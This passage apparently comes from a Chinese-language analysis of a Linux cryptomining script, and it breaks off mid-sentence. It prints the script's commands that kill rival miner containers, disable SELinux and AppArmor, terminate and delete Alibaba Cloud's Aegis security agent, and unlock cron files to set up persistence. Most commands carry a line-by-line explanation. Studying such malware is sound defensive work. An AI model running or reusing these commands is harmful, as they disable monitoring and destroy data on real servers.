#yum install -y docker.io || apt-get install docker.io; docker ps | grep "pocosow" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "gakeaws" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "azulu" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "auto" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "xmr" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "mine" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "slowhttp" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "bash.shell" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "entrypoint.sh" | awk '{print $1}' | xargs -I % docker kill % docker ps | grep "/var/sbin/bash" | awk '{print $1}' | xargs -I % docker kill % docker images -a | grep "pocosow" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "gakeaws" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "buster-slim" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "hello-" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "azulu" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "registry" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "xmr" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "auto" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "mine" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "monero" | awk '{print $3}' | xargs -I % docker rmi -f % docker images -a | grep "slowhttp" | awk '{print $3}' | xargs -I % docker rmi -f %
echo SELINUX=disabled >/etc/selinux/config: 将"SELINUX=disabled"写入/etc/selinux/config文件,禁用SELINUX安全模块。 service apparmor stop: 停止apparmor服务。 systemctl disable apparmor: 禁用apparmor服务,使其在系统启动时不会自动启动。 service aliyun.service stop: 停止aliyun.service服务。 systemctl disable aliyun.service: 禁用aliyun.service服务,使其在系统启动时不会自动启动。 ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %: 查找正在运行的进程中包含'aegis'关键词的进程,并强制终止这些进程。 ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %: 查找正在运行的进程中包含'Yun'关键词的进程,并强制终止这些进程。 rm -rf /usr/local/aegis: 递归删除/usr/local/aegis目录及其内容。 chattr -R -ia /var/spool/cron: 移除/var/spool/cron目录及其子目录的不可更改属性。 chattr -ia /etc/crontab: 移除/etc/crontab文件的不可更改属性。 chattr -R -ia /etc/cron.d: 移除/etc/cron.d目录及其子目录的不可更